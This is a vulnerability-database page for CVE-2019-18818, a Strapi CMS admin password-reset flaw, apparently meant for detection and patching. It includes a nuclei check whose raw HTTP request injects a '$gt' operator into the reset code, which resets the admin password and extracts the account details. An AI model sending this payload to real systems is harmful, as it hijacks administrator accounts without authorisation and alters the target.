HexBrain

Browse / CVEs / CVE-2019-18818

CVE-2019-18818· strapi / strapi· CWE-640

strapi CMS <3.0.0-beta.17.5 - Admin Password Reset

criticalseverity
9.8CVSS score
97.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.

Impact

An attacker can exploit this vulnerability to reset the admin password and gain unauthorized access to the Strapi CMS admin panel.

Fix

Upgrade Strapi CMS to a version higher than 3.0.0-beta.17.5 to mitigate the vulnerability.

How to confirm it

Send: POST /admin/auth/reset-password
Positive when: contains in header "application/json" AND contains "\"username\":" and "\"email\":" and "\"jwt\":" AND status 200

Run it with nuclei: nuclei -id CVE-2019-18818 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-18818

info:
  name: strapi CMS <3.0.0-beta.17.5 - Admin Password Reset
  author: idealphase
  severity: critical
  description: strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
  impact: |
    An attacker can exploit this vulnerability to reset the admin password and gain unauthorized access to the Strapi CMS admin panel.
  remediation: |
    Upgrade Strapi CMS to a version higher than 3.0.0-beta.17.5 to mitigate the vulnerability.
  reference:
    - https://github.com/advisories/GHSA-6xc2-mj39-q599
    - https://www.exploit-db.com/exploits/50239
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18818
    - https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.5
    - https://github.com/strapi/strapi/pull/4443
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-18818
    cwe-id: CWE-640
    epss-score: 0.97476
    epss-percentile: 0.99899
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: strapi
    product: strapi
  tags: cve,cve2019,strapi,auth-bypass,intrusive,edb,vkev,vuln

http:
  - raw:
      - |
        POST /admin/auth/reset-password HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1"}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - '"username":'
          - '"email":'
          - '"jwt":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        json:
          - .user.username
          - .user.email

References

Use this check only on systems you are authorised to test. Where the data comes from